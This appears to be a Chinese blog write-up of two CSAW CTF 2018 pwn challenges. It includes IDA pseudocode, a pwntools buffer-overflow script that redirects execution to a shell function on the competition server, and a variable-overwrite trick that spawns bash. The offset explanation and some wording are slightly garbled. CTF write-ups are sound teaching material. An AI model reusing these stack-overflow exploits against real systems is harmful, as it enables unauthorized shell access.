记两个国外CTF的弱pwn

两道题都来自CSAW CTF 18。PWN学得不够多，若是哪里错了，欢迎留言交流。

第一个题 get_it

checksec检查以后，发现栈保护没开，极可能是栈溢出。IDA打开F5看伪源码。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4; // [rsp+10h] [rbp-20h]
  puts("Do you gets it??");
  gets(&v4);
  return 0;
}

IDA中看到，在程序中还有libc和调用bash的give_shell()函数。虽然有give_shell()，可是没使用的地方。考查的意图也很明显，就是要调用它。

用GDB看了一下程序。主函数执行ret指令时用到的地址：

往上看这个地址的来源，它是从7f...de78（不必定和个人相同）读出来的，gets()函数的取到的内容从data段的7f...de50开始。作一下减法，改掉它共须要48个字节。

pwntools操做（用'a'做垃圾数据填充）

from pwn import *
p = remote('pwn.chal.csaw.io',9001)
payload = 'a' * 32 + p64(0x400600) + p64(0x4005b6)
p.recv()
p.sendline(payload)
p.interactive()


    cat flag.txt
flag{y0u_deF_get_itls}

checksec能够看到没有开启栈保护，能够覆盖。借助主函数返回。在gdb里输入正常的内容，运行看最后ret的EIP从哪取出来的，拿EIP最后跳转地址存放的位置减去以前的输入数据存放的地址，获得长度。（静态也能够，适合大佬使用）中间的所有用垃圾数据覆盖，最后指定到give_shell()的内存地址上。0x400600地方有一个pop命令，直接覆盖为垃圾数据会由于不能出栈致使报错退出，保留。接下来的指令覆盖为give_shell()的内存地址就能够了。

第二个题 boi

记得好像哪一个大学的CTF战队名字叫BOI。

该开的保护都开了。逻辑代码没什么内容，用足够的数据覆盖掉缓冲区就能够起shell了，注意最后0xCAF3BAEE写成小端。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 buf; // [rsp+10h] [rbp-30h]
  __int64 v5; // [rsp+18h] [rbp-28h]
  __int64 v6; // [rsp+20h] [rbp-20h]
  int v7; // [rsp+28h] [rbp-18h]
  unsigned __int64 v8; // [rsp+38h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  buf = 0LL;
  v5 = 0LL;
  v6 = 0LL;
  v7 = 0;
  HIDWORD(v6) = 0xDEADBEEF;
  puts("Are you a big boiiiii??");
  read(0, &buf, 0x18uLL);
  if ( HIDWORD(v6) == 0xCAF3BAEE )
    run_cmd("/bin/bash", &buf);
  else
    run_cmd("/bin/date", &buf);
  return 0;
}